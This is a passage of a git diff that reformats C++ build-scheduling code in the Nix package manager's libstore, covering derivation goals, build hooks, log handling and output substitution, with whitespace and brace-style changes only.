- [](auto & pair) { return !pair.second.childMap.empty(); }); + || std::ranges::any_of(fullDrv.inputDrvs.map.begin(), fullDrv.inputDrvs.map.end(), [](auto & pair) { + return !pair.second.childMap.empty(); + }); if (resolveDrv && !fullDrv.inputDrvs.map.empty()) { experimentalFeatureSettings.require(Xp::CaDerivations); @@ -463,43 +469,52 @@ Goal::Co DerivationGoal::gaveUpOnSubstitution() /* We are be able to resolve this derivation based on the now-known results of dependencies. If so, we become a stub goal aliasing that resolved derivation goal. */ - std::optional attempt = fullDrv.tryResolve(worker.store, + std::optional attempt = fullDrv.tryResolve( + worker.store, [&](ref drvPath, const std::string & outputName) -> std::optional { auto mEntry = get(inputGoals, drvPath); - if (!mEntry) return std::nullopt; + if (!mEntry) + return std::nullopt; - auto buildResult = (*mEntry)->getBuildResult(DerivedPath::Built{drvPath, OutputsSpec::Names{outputName}}); - if (!buildResult.success()) return std::nullopt; + auto buildResult = + (*mEntry)->getBuildResult(DerivedPath::Built{drvPath, OutputsSpec::Names{outputName}}); + if (!buildResult.success()) + return std::nullopt; auto i = get(buildResult.builtOutputs, outputName); - if (!i) return std::nullopt; + if (!i) + return std::nullopt; return i->outPath; }); if (!attempt) { - /* TODO (impure derivations-induced tech debt) (see below): - The above attempt should have found it, but because we manage - inputDrvOutputs statefully, sometimes it gets out of sync with - the real source of truth (store). So we query the store - directly if there's a problem. */ - attempt = fullDrv.tryResolve(worker.store, &worker.evalStore); + /* TODO (impure derivations-induced tech debt) (see below): + The above attempt should have found it, but because we manage + inputDrvOutputs statefully, sometimes it gets out of sync with + the real source of truth (store). So we query the store + directly if there's a problem. */ + attempt = fullDrv.tryResolve(worker.store, &worker.evalStore); } assert(attempt); - Derivation drvResolved { std::move(*attempt) }; + Derivation drvResolved{std::move(*attempt)}; auto pathResolved = writeDerivation(worker.store, drvResolved); - auto msg = fmt("resolved derivation: '%s' -> '%s'", - worker.store.printStorePath(drvPath), - worker.store.printStorePath(pathResolved)); - act = std::make_unique(*logger, lvlInfo, actBuildWaiting, msg, - Logger::Fields { - worker.store.printStorePath(drvPath), - worker.store.printStorePath(pathResolved), - }); + auto msg = + fmt("resolved derivation: '%s' -> '%s'", + worker.store.printStorePath(drvPath), + worker.store.printStorePath(pathResolved)); + act = std::make_unique( + *logger, + lvlInfo, + actBuildWaiting, + msg, + Logger::Fields{ + worker.store.printStorePath(drvPath), + worker.store.printStorePath(pathResolved), + }); - resolvedDrvGoal = worker.makeDerivationGoal( - pathResolved, wantedOutputs, buildMode); + resolvedDrvGoal = worker.makeDerivationGoal(pathResolved, wantedOutputs, buildMode); { Goals waitees{resolvedDrvGoal}; co_await await(std::move(waitees)); @@ -516,8 +531,8 @@ Goal::Co DerivationGoal::gaveUpOnSubstitution() impure derivations are always resolved above. Can just use DB. This case only happens in the (older) input addressed and fixed output derivation cases. */ - auto outMap = [&]{ - for (auto * drvStore : { &worker.evalStore, &worker.store }) + auto outMap = [&] { + for (auto * drvStore : {&worker.evalStore, &worker.store}) if (drvStore->isValidPath(depDrvPath)) return worker.store.queryDerivationOutputMap(depDrvPath, drvStore); assert(false); @@ -527,7 +542,9 @@ Goal::Co DerivationGoal::gaveUpOnSubstitution() if (outMapPath == outMap.end()) { throw Error( "derivation '%s' requires non-existent output '%s' from input derivation '%s'", - worker.store.printStorePath(drvPath), outputName, worker.store.printStorePath(depDrvPath)); + worker.store.printStorePath(drvPath), + outputName, + worker.store.printStorePath(depDrvPath)); } worker.store.computeFSClosure(outMapPath->second, inputPaths); @@ -549,22 +566,29 @@ Goal::Co DerivationGoal::gaveUpOnSubstitution() void DerivationGoal::started() { - auto msg = fmt( - buildMode == bmRepair ? "repairing outputs of '%s'" : - buildMode == bmCheck ? "checking outputs of '%s'" : - "building '%s'", worker.store.printStorePath(drvPath)); + auto msg = + fmt(buildMode == bmRepair ? "repairing outputs of '%s'" + : buildMode == bmCheck ? "checking outputs of '%s'" + : "building '%s'", + worker.store.printStorePath(drvPath)); fmt("building '%s'", worker.store.printStorePath(drvPath)); #ifndef _WIN32 // TODO enable build hook on Windows - if (hook) msg += fmt(" on '%s'", machineName); + if (hook) + msg += fmt(" on '%s'", machineName); #endif - act = std::make_unique(*logger, lvlInfo, actBuild, msg, - Logger::Fields{worker.store.printStorePath(drvPath), + act = std::make_unique( + *logger, + lvlInfo, + actBuild, + msg, + Logger::Fields{ + worker.store.printStorePath(drvPath), #ifndef _WIN32 // TODO enable build hook on Windows - hook ? machineName : + hook ? machineName : #endif - "", - 1, - 1}); + "", + 1, + 1}); mcRunningBuilds = std::make_unique>(worker.runningBuilds); worker.updateProgress(); } @@ -594,16 +618,12 @@ Goal::Co DerivationGoal::tryToBuild() if (i.second.second) lockFiles.insert(worker.store.Store::toRealPath(*i.second.second)); else - lockFiles.insert( - worker.store.Store::toRealPath(drvPath) + "." + i.first - ); + lockFiles.insert(worker.store.Store::toRealPath(drvPath) + "." + i.first); } } - if (!outputLocks.lockPaths(lockFiles, "", false)) - { - Activity act(*logger, lvlWarn, actBuildWaiting, - fmt("waiting for lock on %s", Magenta(showPaths(lockFiles)))); + if (!outputLocks.lockPaths(lockFiles, "", false)) { + Activity act(*logger, lvlWarn, actBuildWaiting, fmt("waiting for lock on %s", Magenta(showPaths(lockFiles)))); /* Wait then try locking again, repeat until success (returned boolean is true). */ @@ -631,7 +651,8 @@ Goal::Co DerivationGoal::tryToBuild() /* If any of the outputs already exist but are not valid, delete them. */ for (auto & [_, status] : initialOutputs) { - if (!status.known || status.known->isValid()) continue; + if (!status.known || status.known->isValid()) + continue; auto storePath = status.known->path; debug("removing invalid path '%s'", worker.store.printStorePath(status.known->path)); deletePath(worker.store.Store::toRealPath(storePath)); @@ -641,31 +662,33 @@ Goal::Co DerivationGoal::tryToBuild() `preferLocalBuild' set. Also, check and repair modes are only supported for local builds. */ bool buildLocally = - (buildMode != bmNormal || drvOptions->willBuildLocally(worker.store, *drv)) - && settings.maxBuildJobs.get() != 0; + (buildMode != bmNormal || drvOptions->willBuildLocally(worker.store, *drv)) && settings.maxBuildJobs.get() != 0; if (!buildLocally) { switch (tryBuildHook()) { - case rpAccept: - /* Yes, it has started doing so. Wait until we get - EOF from the hook. */ - actLock.reset(); - buildResult.startTime = time(0); // inexact - started(); - co_await Suspend{}; - co_return hookDone(); - case rpPostpone: - /* Not now; wait until at least one child finishes or - the wake-up timeout expires. */ - if (!actLock) - actLock = std::make_unique(*logger, lvlWarn, actBuildWaiting, - fmt("waiting for a machine to build '%s'", Magenta(worker.store.printStorePath(drvPath)))); - outputLocks.unlock(); - co_await waitForAWhile(); - co_return tryToBuild(); - case rpDecline: - /* We should do it ourselves. */ - break; + case rpAccept: + /* Yes, it has started doing so. Wait until we get + EOF from the hook. */ + actLock.reset(); + buildResult.startTime = time(0); // inexact + started(); + co_await Suspend{}; + co_return hookDone(); + case rpPostpone: + /* Not now; wait until at least one child finishes or + the wake-up timeout expires. */ + if (!actLock) + actLock = std::make_unique( + *logger, + lvlWarn, + actBuildWaiting, + fmt("waiting for a machine to build '%s'", Magenta(worker.store.printStorePath(drvPath)))); + outputLocks.unlock(); + co_await waitForAWhile(); + co_return tryToBuild(); + case rpDecline: + /* We should do it ourselves. */ + break; } } @@ -675,18 +698,17 @@ Goal::Co DerivationGoal::tryToBuild() co_return tryLocalBuild(); } -Goal::Co DerivationGoal::tryLocalBuild() { +Goal::Co DerivationGoal::tryLocalBuild() +{ throw Error( R"( Unable to build with a primary store that isn't a local store; either pass a different '--store' or enable remote builds. For more information check 'man nix.conf' and search for '/machines'. - )" - ); + )"); } - Goal::Co DerivationGoal::repairClosure() { assert(!drv->type().isImpure()); @@ -700,7 +722,8 @@ Goal::Co DerivationGoal::repairClosure() auto outputs = queryDerivationOutputMap(); StorePathSet outputClosure; for (auto & i : outputs) { - if (!wantedOutputs.contains(i.first)) continue; + if (!wantedOutputs.contains(i.first)) + continue; worker.store.computeFSClosure(i.second, outputClosure); } @@ -712,7 +735,8 @@ Goal::Co DerivationGoal::repairClosure() derivation is responsible for which path in the output closure. */ StorePathSet inputClosure; - if (useDerivation) worker.store.computeFSClosure(drvPath, inputClosure); + if (useDerivation) + worker.store.computeFSClosure(drvPath, inputClosure); std::map outputsToDrv; for (auto & i : inputClosure) if (i.isDerivation()) { @@ -726,18 +750,20 @@ Goal::Co DerivationGoal::repairClosure() /* Check each path (slow!). */ for (auto & i : outputClosure) { - if (worker.pathContentsGood(i)) continue; + if (worker.pathContentsGood(i)) + continue; printError( "found corrupted or missing path '%s' in the output closure of '%s'", - worker.store.printStorePath(i), worker.store.printStorePath(drvPath)); + worker.store.printStorePath(i), + worker.store.printStorePath(drvPath)); auto drvPath2 = outputsToDrv.find(i); if (drvPath2 == outputsToDrv.end()) waitees.insert(upcast_goal(worker.makePathSubstitutionGoal(i, Repair))); else waitees.insert(worker.makeGoal( - DerivedPath::Built { + DerivedPath::Built{ .drvPath = makeConstantStorePathRef(drvPath2->second), - .outputs = OutputsSpec::All { }, + .outputs = OutputsSpec::All{}, }, bmRepair)); } @@ -747,20 +773,19 @@ Goal::Co DerivationGoal::repairClosure() if (!waitees.empty()) { trace("closure repaired"); if (nrFailed > 0) - throw Error("some paths in the output closure of derivation '%s' could not be repaired", + throw Error( + "some paths in the output closure of derivation '%s' could not be repaired", worker.store.printStorePath(drvPath)); } co_return done(BuildResult::AlreadyValid, assertPathValidity()); } - static void chmod_(const Path & path, mode_t mode) { if (chmod(path.c_str(), mode) == -1) throw SysError("setting permissions on '%s'", path); } - /* Move/rename path 'src' to 'dst'. Temporarily make 'src' writable if it's a directory and we're not root (to be able to update the directory's parent link ".."). */ @@ -785,7 +810,6 @@ static void movePath(const Path & src, const Path & dst) chmod_(dst, st.st_mode); } - void replaceValidPath(const Path & storePath, const Path & tmpPath) { /* We can't atomically replace storePath (the original) with @@ -811,20 +835,18 @@ void replaceValidPath(const Path & storePath, const Path & tmpPath) deletePath(oldPath); } - -void runPostBuildHook( - Store & store, - Logger & logger, - const StorePath & drvPath, - const StorePathSet & outputPaths) +void runPostBuildHook(Store & store, Logger & logger, const StorePath & drvPath, const StorePathSet & outputPaths) { auto hook = settings.postBuildHook; if (hook == "") return; - Activity act(logger, lvlTalkative, actPostBuildHook, - fmt("running post-build-hook '%s'", settings.postBuildHook), - Logger::Fields{store.printStorePath(drvPath)}); + Activity act( + logger, + lvlTalkative, + actPostBuildHook, + fmt("running post-build-hook '%s'", settings.postBuildHook), + Logger::Fields{store.printStorePath(drvPath)}); PushActivity pact(act.id); std::map hookEnvironment = getEnv(); @@ -832,13 +854,18 @@ void runPostBuildHook( hookEnvironment.emplace("OUT_PATHS", chomp(concatStringsSep(" ", store.printStorePathSet(outputPaths)))); hookEnvironment.emplace("NIX_CONFIG", globalConfig.toKeyValue()); - struct LogSink : Sink { + struct LogSink : Sink + { Activity & act; std::string currentLine; - LogSink(Activity & act) : act(act) { } + LogSink(Activity & act) + : act(act) + { + } - void operator() (std::string_view data) override { + void operator()(std::string_view data) override + { for (auto c : data) { if (c == '\n') { flushLine(); @@ -848,12 +875,14 @@ void runPostBuildHook( } } - void flushLine() { + void flushLine() + { act.result(resPostBuildLogLine, currentLine); currentLine.clear(); } - ~LogSink() { + ~LogSink() + { if (currentLine != "") { currentLine += '\n'; flushLine(); @@ -870,12 +899,8 @@ void runPostBuildHook( }); } - void appendLogTailErrorMsg( - const Store & store, - const StorePath & drvPath, - const std::list & logTail, - std::string & msg) + const Store & store, const StorePath & drvPath, const std::list & logTail, std::string & msg) { if (!logger->isVerbose() && !logTail.empty()) { msg += fmt(";\nlast %d log lines:\n", logTail.size()); @@ -884,19 +909,15 @@ void appendLogTailErrorMsg( msg += line; msg += "\n"; } - auto nixLogCommand = experimentalFeatureSettings.isEnabled(Xp::NixCommand) - ? "nix log" - : "nix-store -l"; + auto nixLogCommand = experimentalFeatureSettings.isEnabled(Xp::NixCommand) ? "nix log" : "nix-store -l"; // The command is on a separate line for easy copying, such as with triple click. // This message will be indented elsewhere, so removing the indentation before the // command will not put it at the start of the line unfortunately. - msg += fmt("For full logs, run:\n " ANSI_BOLD "%s %s" ANSI_NORMAL, - nixLogCommand, - store.printStorePath(drvPath)); + msg += + fmt("For full logs, run:\n " ANSI_BOLD "%s %s" ANSI_NORMAL, nixLogCommand, store.printStorePath(drvPath)); } } - Goal::Co DerivationGoal::hookDone() { #ifndef _WIN32 @@ -935,9 +956,7 @@ Goal::Co DerivationGoal::hookDone() /* Check the exit status. */ if (!statusOk(status)) { - auto msg = fmt("builder for '%s' %s", - Magenta(worker.store.printStorePath(drvPath)), - statusToString(status)); + auto msg = fmt("builder for '%s' %s", Magenta(worker.store.printStorePath(drvPath)), statusToString(status)); appendLogTailErrorMsg(worker.store, drvPath, logTail, msg); @@ -963,12 +982,7 @@ Goal::Co DerivationGoal::hookDone() StorePathSet outputPaths; for (auto & [_, output] : builtOutputs) outputPaths.insert(output.outPath); - runPostBuildHook( - worker.store, - *logger, - drvPath, - outputPaths - ); + runPostBuildHook(worker.store, *logger, drvPath, outputPaths); /* It is now safe to delete the lock files, since all future lockers will see that the output paths are valid; they will @@ -1001,33 +1015,36 @@ Goal::Co DerivationGoal::resolvedFinished() if ((!initialOutput) || (!resolvedHash)) throw Error( "derivation '%s' doesn't have expected output '%s' (derivation-goal.cc/resolvedFinished,resolve)", - worker.store.printStorePath(drvPath), outputName); + worker.store.printStorePath(drvPath), + outputName); - auto realisation = [&]{ - auto take1 = get(resolvedResult.builtOutputs, outputName); - if (take1) return *take1; + auto realisation = [&] { + auto take1 = get(resolvedResult.builtOutputs, outputName); + if (take1) + return *take1; - /* The above `get` should work. But sateful tracking of - outputs in resolvedResult, this can get out of sync with the - store, which is our actual source of truth. For now we just - check the store directly if it fails. */ - auto take2 = worker.evalStore.queryRealisation(DrvOutput { *resolvedHash, outputName }); - if (take2) return *take2; + /* The above `get` should work. But sateful tracking of + outputs in resolvedResult, this can get out of sync with the + store, which is our actual source of truth. For now we just + check the store directly if it fails. */ + auto take2 = worker.evalStore.queryRealisation(DrvOutput{*resolvedHash, outputName}); + if (take2) + return *take2; - throw Error( - "derivation '%s' doesn't have expected output '%s' (derivation-goal.cc/resolvedFinished,realisation)", - worker.store.printStorePath(resolvedDrvGoal->drvPath), outputName); + throw Error( + "derivation '%s' doesn't have expected output '%s' (derivation-goal.cc/resolvedFinished,realisation)", + worker.store.printStorePath(resolvedDrvGoal->drvPath), + outputName); }(); if (!drv->type().isImpure()) { auto newRealisation = realisation; - newRealisation.id = DrvOutput { initialOutput->outputHash, outputName }; + newRealisation.id = DrvOutput{initialOutput->outputHash, outputName}; newRealisation.signatures.clear(); if (!drv->type().isFixed()) { - auto & drvStore = worker.evalStore.isValidPath(drvPath) - ? worker.evalStore - : worker.store; - newRealisation.dependentRealisations = drvOutputReferences(worker.store, *drv, realisation.outPath, &drvStore); + auto & drvStore = worker.evalStore.isValidPath(drvPath) ? worker.evalStore : worker.store; + newRealisation.dependentRealisations = + drvOutputReferences(worker.store, *drv, realisation.outPath, &drvStore); } worker.store.signRealisation(newRealisation); worker.store.registerDrvOutput(newRealisation); @@ -1036,12 +1053,7 @@ Goal::Co DerivationGoal::resolvedFinished() builtOutputs.emplace(outputName, realisation); } - runPostBuildHook( - worker.store, - *logger, - drvPath, - outputPaths - ); + runPostBuildHook(worker.store, *logger, drvPath, outputPaths); } auto status = resolvedResult.status; @@ -1056,7 +1068,8 @@ HookReply DerivationGoal::tryBuildHook() #ifdef _WIN32 // TODO enable build hook on Windows return rpDecline; #else - if (settings.buildHook.get().empty() || !worker.tryBuildHook || !useDerivation) return rpDecline; + if (settings.buildHook.get().empty() || !worker.tryBuildHook || !useDerivation) + return rpDecline; if (!worker.hook) worker.hook = std::make_unique(); @@ -1064,12 +1077,8 @@ HookReply DerivationGoal::tryBuildHook() try { /* Send the request to the hook. */ - worker.hook->sink - << "try" - << (worker.getNrLocalBuilds() < settings.maxBuildJobs ? 1 : 0) - << drv->platform - << worker.store.printStorePath(drvPath) - << drvOptions->getRequiredSystemFeatures(*drv); + worker.hook->sink << "try" << (worker.getNrLocalBuilds() < settings.maxBuildJobs ? 1 : 0) << drv->platform + << worker.store.printStorePath(drvPath) << drvOptions->getRequiredSystemFeatures(*drv); worker.hook->sink.flush(); /* Read the first line of input, which should be a word indicating @@ -1089,8 +1098,7 @@ HookReply DerivationGoal::tryBuildHook() else if (s.substr(0, 2) == "# ") { reply = s.substr(2); break; - } - else { + } else { s += "\n"; writeToStderr(s); } @@ -1104,17 +1112,14 @@ HookReply DerivationGoal::tryBuildHook() worker.tryBuildHook = false; worker.hook = 0; return rpDecline; - } - else if (reply == "postpone") + } else if (reply == "postpone") return rpPostpone; else if (reply != "accept") throw Error("bad hook reply '%s'", reply); } catch (SysError & e) { if (e.errNo == EPIPE) { - printError( - "build hook died unexpectedly: %s", - chomp(drainFD(worker.hook->fromHook.readSide.get()))); + printError("build hook died unexpectedly: %s", chomp(drainFD(worker.hook->fromHook.readSide.get()))); worker.hook = 0; return rpDecline; } else @@ -1130,7 +1135,7 @@ HookReply DerivationGoal::tryBuildHook() throw; } - CommonProto::WriteConn conn { hook->sink }; + CommonProto::WriteConn conn{hook->sink}; /* Tell the hook all the inputs that have to be copied to the remote system. */ @@ -1142,7 +1147,8 @@ HookReply DerivationGoal::tryBuildHook() StringSet missingOutputs; for (auto & [outputName, status] : initialOutputs) { // XXX: Does this include known CA outputs? - if (buildMode != bmCheck && status.known && status.known->isValid()) continue; + if (buildMode != bmCheck && status.known && status.known->isValid()) + continue; missingOutputs.insert(outputName); } CommonProto::write(worker.store, conn, missingOutputs); @@ -1163,12 +1169,12 @@ HookReply DerivationGoal::tryBuildHook() #endif } - Path DerivationGoal::openLogFile() { logSize = 0; - if (!settings.keepLog) return ""; + if (!settings.keepLog) + return ""; auto baseName = std::string(baseNameOf(worker.store.printStorePath(drvPath))); @@ -1181,15 +1187,18 @@ Path DerivationGoal::openLogFile() Path dir = fmt("%s/%s/%s/", logDir, LocalFSStore::drvsLogDir, baseName.substr(0, 2)); createDirs(dir); - Path logFileName = fmt("%s/%s%s", dir, baseName.substr(2), - settings.compressLog ? ".bz2" : ""); + Path logFileName = fmt("%s/%s%s", dir, baseName.substr(2), settings.compressLog ? ".bz2" : ""); - fdLogFile = toDescriptor(open(logFileName.c_str(), O_CREAT | O_WRONLY | O_TRUNC + fdLogFile = toDescriptor(open( + logFileName.c_str(), + O_CREAT | O_WRONLY | O_TRUNC #ifndef _WIN32 - | O_CLOEXEC + | O_CLOEXEC #endif - , 0666)); - if (!fdLogFile) throw SysError("creating log file '%1%'", logFileName); + , + 0666)); + if (!fdLogFile) + throw SysError("creating log file '%1%'", logFileName); logFileSink = std::make_shared(fdLogFile.get()); @@ -1201,17 +1210,17 @@ Path DerivationGoal::openLogFile() return logFileName; } - void DerivationGoal::closeLogFile() { auto logSink2 = std::dynamic_pointer_cast(logSink); - if (logSink2) logSink2->finish(); - if (logFileSink) logFileSink->flush(); + if (logSink2) + logSink2->finish(); + if (logFileSink) + logFileSink->flush(); logSink = logFileSink = 0; fdLogFile.close(); } - bool DerivationGoal::isReadDesc(Descriptor fd) { #ifdef _WIN32 // TODO enable build hook on Windows @@ -1225,17 +1234,16 @@ void DerivationGoal::handleChildOutput(Descriptor fd, std::string_view data) { // local & `ssh://`-builds are dealt with here. auto isWrittenToLog = isReadDesc(fd); - if (isWrittenToLog) - { + if (isWrittenToLog) { logSize += data.size(); if (settings.maxLogSize && logSize > settings.maxLogSize) { killChild(); // We're not inside a coroutine, hence we can't use co_return here. // Thus we ignore the return value. [[maybe_unused]] Done _ = done( - BuildResult::LogLimitExceeded, {}, - Error("%s killed after writing more than %d bytes of log output", - getName(), settings.maxLogSize)); + BuildResult::LogLimitExceeded, + {}, + Error("%s killed after writing more than %d bytes of log output", getName(), settings.maxLogSize)); return; } @@ -1250,7 +1258,8 @@ void DerivationGoal::handleChildOutput(Descriptor fd, std::string_view data) currentLogLine[currentLogLinePos++] = c; } - if (logSink) (*logSink)(data); + if (logSink) + (*logSink)(data); } #ifndef _WIN32 // TODO enable build hook on Windows @@ -1267,19 +1276,18 @@ void DerivationGoal::handleChildOutput(Descriptor fd, std::string_view data) const auto fields = (*json)["fields"]; if (type == resBuildLogLine) { (*logSink)((fields.size() > 0 ? fields[0].get() : "") + "\n"); - } else if (type == resSetPhase && ! fields.is_null()) { + } else if (type == resSetPhase && !fields.is_null()) { const auto phase = fields[0]; - if (! phase.is_null()) { + if (!phase.is_null()) { // nixpkgs' stdenv produces lines in the log to signal // phase changes. // We want to get the same lines in case of remote builds. // The format is: // @nix { "action": "setPhase", "phase": "$curPhase" } - const auto logLine = nlohmann::json::object({ - {"action", "setPhase"}, - {"phase", phase} - }); - (*logSink)("@nix " + logLine.dump(-1, ' ', false, nlohmann::json::error_handler_t::replace) + "\n"); + const auto logLine = nlohmann::json::object({{"action", "setPhase"}, {"phase", phase}}); + (*logSink)( + "@nix " + logLine.dump(-1, ' ', false, nlohmann::json::error_handler_t::replace) + + "\n"); } } } @@ -1291,14 +1299,13 @@ void DerivationGoal::handleChildOutput(Descriptor fd, std::string_view data) #endif } - void DerivationGoal::handleEOF(Descriptor fd) { - if (!currentLogLine.empty()) flushLine(); + if (!currentLogLine.empty()) + flushLine(); worker.wakeUp(shared_from_this()); } - void DerivationGoal::flushLine() { if (handleJSONLogMessage(currentLogLine, *act, builderActivities, "the derivation builder", false)) @@ -1306,7 +1313,8 @@ void DerivationGoal::flushLine() else { logTail.push_back(currentLogLine); - if (logTail.size() > settings.logLines) logTail.pop_front(); + if (logTail.size() > settings.logLines) + logTail.pop_front(); act->result(resBuildLogLine, currentLogLine); } @@ -1315,7 +1323,6 @@ void DerivationGoal::flushLine() currentLogLinePos = 0; } - std::map> DerivationGoal::queryPartialDerivationOutputMap() { assert(!drv->type().isImpure()); @@ -1325,7 +1332,7 @@ std::map> DerivationGoal::queryPartialDeri res.insert_or_assign(name, output.path(worker.store, drv->name, name)); return res; } else { - for (auto * drvStore : { &worker.evalStore, &worker.store }) + for (auto * drvStore : {&worker.evalStore, &worker.store}) if (drvStore->isValidPath(drvPath)) return worker.store.queryPartialDerivationOutputMap(drvPath, drvStore); assert(false); @@ -1341,27 +1348,25 @@ OutputPathMap DerivationGoal::queryDerivationOutputMap() res.insert_or_assign(name, *output.second); return res; } else { - for (auto * drvStore : { &worker.evalStore, &worker.store }) + for (auto * drvStore : {&worker.evalStore, &worker.store}) if (drvStore->isValidPath(drvPath)) return worker.store.queryDerivationOutputMap(drvPath, drvStore); assert(false); } } - std::pair DerivationGoal::checkPathValidity() { - if (drv->type().isImpure()) return { false, {} }; + if (drv->type().isImpure()) + return {false, {}}; bool checkHash = buildMode == bmRepair; - auto wantedOutputsLeft = std::visit(overloaded { - [&](const OutputsSpec::All &) { - return StringSet {}; + auto wantedOutputsLeft = std::visit( + overloaded{ + [&](const OutputsSpec::All &) { return StringSet{}; }, + [&](const OutputsSpec::Names & names) { return static_cast(names); }, }, - [&](const OutputsSpec::Names & names) { - return static_cast(names); - }, - }, wantedOutputs.raw); + wantedOutputs.raw); SingleDrvOutputs validOutputs; for (auto & i : queryPartialDerivationOutputMap()) { @@ -1377,11 +1382,9 @@ std::pair DerivationGoal::checkPathValidity() auto outputPath = *i.second; info.known = { .path = outputPath, - .status = !worker.store.isValidPath(outputPath) - ? PathStatus::Absent - : !checkHash || worker.pathContentsGood(outputPath) - ? PathStatus::Valid - : PathStatus::Corrupt, + .status = !worker.store.isValidPath(outputPath) ? PathStatus::Absent + : !checkHash || worker.pathContentsGood(outputPath) ? PathStatus::Valid + : PathStatus::Corrupt, }; } auto drvOutput = DrvOutput{info.outputHash, i.first}; @@ -1397,38 +1400,38 @@ std::pair DerivationGoal::checkPathValidity() // its realisation stored (probably because it has been built // without the `ca-derivations` experimental flag). worker.store.registerDrvOutput( - Realisation { + Realisation{ drvOutput, info.known->path, - } - ); + }); } } if (info.known && info.known->isValid()) - validOutputs.emplace(i.first, Realisation { drvOutput, info.known->path }); + validOutputs.emplace(i.first, Realisation{drvOutput, info.known->path}); } // If we requested all the outputs, we are always fine. // If we requested specific elements, the loop above removes all the valid // ones, so any that are left must be invalid. if (!wantedOutputsLeft.empty()) - throw Error("derivation '%s' does not have wanted outputs %s", + throw Error( + "derivation '%s' does not have wanted outputs %s", worker.store.printStorePath(drvPath), concatStringsSep(", ", quoteStrings(wantedOutputsLeft))); bool allValid = true; for (auto & [_, status] : initialOutputs) { - if (!status.wanted) continue; + if (!status.wanted) + continue; if (!status.known || !status.known->isValid()) { allValid = false; break; } } - return { allValid, validOutputs }; + return {allValid, validOutputs}; } - SingleDrvOutputs DerivationGoal::assertPathValidity() { auto [allValid, validOutputs] = checkPathValidity(); @@ -1437,11 +1440,7 @@ SingleDrvOutputs DerivationGoal::assertPathValidity() return validOutputs; } - -Goal::Done DerivationGoal::done( - BuildResult::Status status, - SingleDrvOutputs builtOutputs, - std::optional ex) +Goal::Done DerivationGoal::done(BuildResult::Status status, SingleDrvOutputs builtOutputs, std::optional ex) { outputLocks.unlock(); buildResult.status = status; diff --git a/src/libstore/build/drv-output-substitution-goal.cc b/src/libstore/build/drv-output-substitution-goal.cc index 0b912357e..4a1483b26 100644 --- a/src/libstore/build/drv-output-substitution-goal.cc +++ b/src/libstore/build/drv-output-substitution-goal.cc @@ -7,10 +7,7 @@ namespace nix { DrvOutputSubstitutionGoal::DrvOutputSubstitutionGoal( - const DrvOutput & id, - Worker & worker, - RepairFlag repair, - std::optional ca) + const DrvOutput & id, Worker & worker, RepairFlag repair, std::optional ca) : Goal(worker) , id(id) { @@ -18,7 +15,6 @@ DrvOutputSubstitutionGoal::DrvOutputSubstitutionGoal( trace("created"); } - Goal::Co DrvOutputSubstitutionGoal::init() { trace("init"); @@ -39,32 +35,35 @@ Goal::Co DrvOutputSubstitutionGoal::init() some other error occurs), so it must not touch `this`. So put the shared state in a separate refcounted object. */ auto outPipe = std::make_shared(); - #ifndef _WIN32 +#ifndef _WIN32 outPipe->create(); - #else +#else outPipe->createAsyncPipe(worker.ioport.get()); - #endif +#endif auto promise = std::make_shared>>(); sub->queryRealisation( - id, - { [outPipe(outPipe), promise(promise)](std::future> res) { + id, {[outPipe(outPipe), promise(promise)](std::future> res) { try { Finally updateStats([&]() { outPipe->writeSide.close(); }); promise->set_value(res.get()); } catch (...) { promise->set_exception(std::current_exception()); } - } }); + }}); - worker.childStarted(shared_from_this(), { - #ifndef _WIN32 - outPipe->readSide.get() - #else - &*outPipe - #endif - }, true, false); + worker.childStarted( + shared_from_this(), + { +#ifndef _WIN32 + outPipe->readSide.get() +#else + &*outPipe +#endif + }, + true, + false); co_await Suspend{}; @@ -83,7 +82,8 @@ Goal::Co DrvOutputSubstitutionGoal::init() substituterFailed = true; } - if (!outputInfo) continue; + if (!outputInfo) + continue; bool failed = false; @@ -100,8 +100,7 @@ Goal::Co DrvOutputSubstitutionGoal::init() sub->getUri(), depId.to_string(), worker.store.printStorePath(localOutputInfo->outPath), - worker.store.printStorePath(depPath) - ); + worker.store.printStorePath(depPath)); failed = true; break; } @@ -109,7 +108,8 @@ Goal::Co DrvOutputSubstitutionGoal::init() } } - if (failed) continue; + if (failed) + continue; co_return realisationFetched(std::move(waitees), outputInfo, sub); } @@ -129,7 +129,9 @@ Goal::Co DrvOutputSubstitutionGoal::init() co_return amDone(substituterFailed ? ecFailed : ecNoSubstituters); } -Goal::Co DrvOutputSubstitutionGoal::realisationFetched(Goals waitees, std::shared_ptr outputInfo, nix::ref sub) { +Goal::Co DrvOutputSubstitutionGoal::realisationFetched( + Goals waitees, std::shared_ptr outputInfo, nix::ref sub) +{ waitees.insert(worker.makePathSubstitutionGoal(outputInfo->outPath)); co_await await(std::move(waitees)); @@ -159,5 +161,4 @@ void DrvOutputSubstitutionGoal::handleEOF(Descriptor fd) worker.wakeUp(shared_from_this()); } - } diff --git a/src/libstore/build/entry-points.cc b/src/libstore/build/entry-points.cc index c934b0704..a25cae544 100644 --- a/src/libstore/build/entry-points.cc +++ b/src/libstore/build/entry-points.cc @@ -33,7 +33,7 @@ void Store::buildPaths(const std::vector & reqs, BuildMode buildMod failed.insert(printStorePath(i2->drvPath)); else #endif - if (auto i2 = dynamic_cast(i.get())) + if (auto i2 = dynamic_cast(i.get())) failed.insert(printStorePath(i2->storePath)); } } @@ -42,15 +42,14 @@ void Store::buildPaths(const std::vector & reqs, BuildMode buildMod ex->withExitStatus(worker.failingExitStatus()); throw std::move(*ex); } else if (!failed.empty()) { - if (ex) logError(ex->info()); + if (ex) + logError(ex->info()); throw Error(worker.failingExitStatus(), "build of %s failed", concatStringsSep(", ", quoteStrings(failed))); } } std::vector Store::buildPathsWithResults( - const std::vector & reqs, - BuildMode buildMode, - std::shared_ptr evalStore) + const std::vector & reqs, BuildMode buildMode, std::shared_ptr evalStore) { Worker worker(*this, evalStore ? *evalStore : *this); @@ -69,20 +68,20 @@ std::vector Store::buildPathsWithResults( results.reserve(state.size()); for (auto & [req, goalPtr] : state) - results.emplace_back(KeyedBuildResult { - goalPtr->getBuildResult(req), - /* .path = */ req, - }); + results.emplace_back( + KeyedBuildResult{ + goalPtr->getBuildResult(req), + /* .path = */ req, + }); return results; } -BuildResult Store::buildDerivation(const StorePath & drvPath, const BasicDerivation & drv, - BuildMode buildMode) +BuildResult Store::buildDerivation(const StorePath & drvPath, const BasicDerivation & drv, BuildMode buildMode) { Worker worker(*this, *this); #ifndef _WIN32 // TODO Enable building on Windows - auto goal = worker.makeBasicDerivationGoal(drvPath, drv, OutputsSpec::All {}, buildMode); + auto goal = worker.makeBasicDerivationGoal(drvPath, 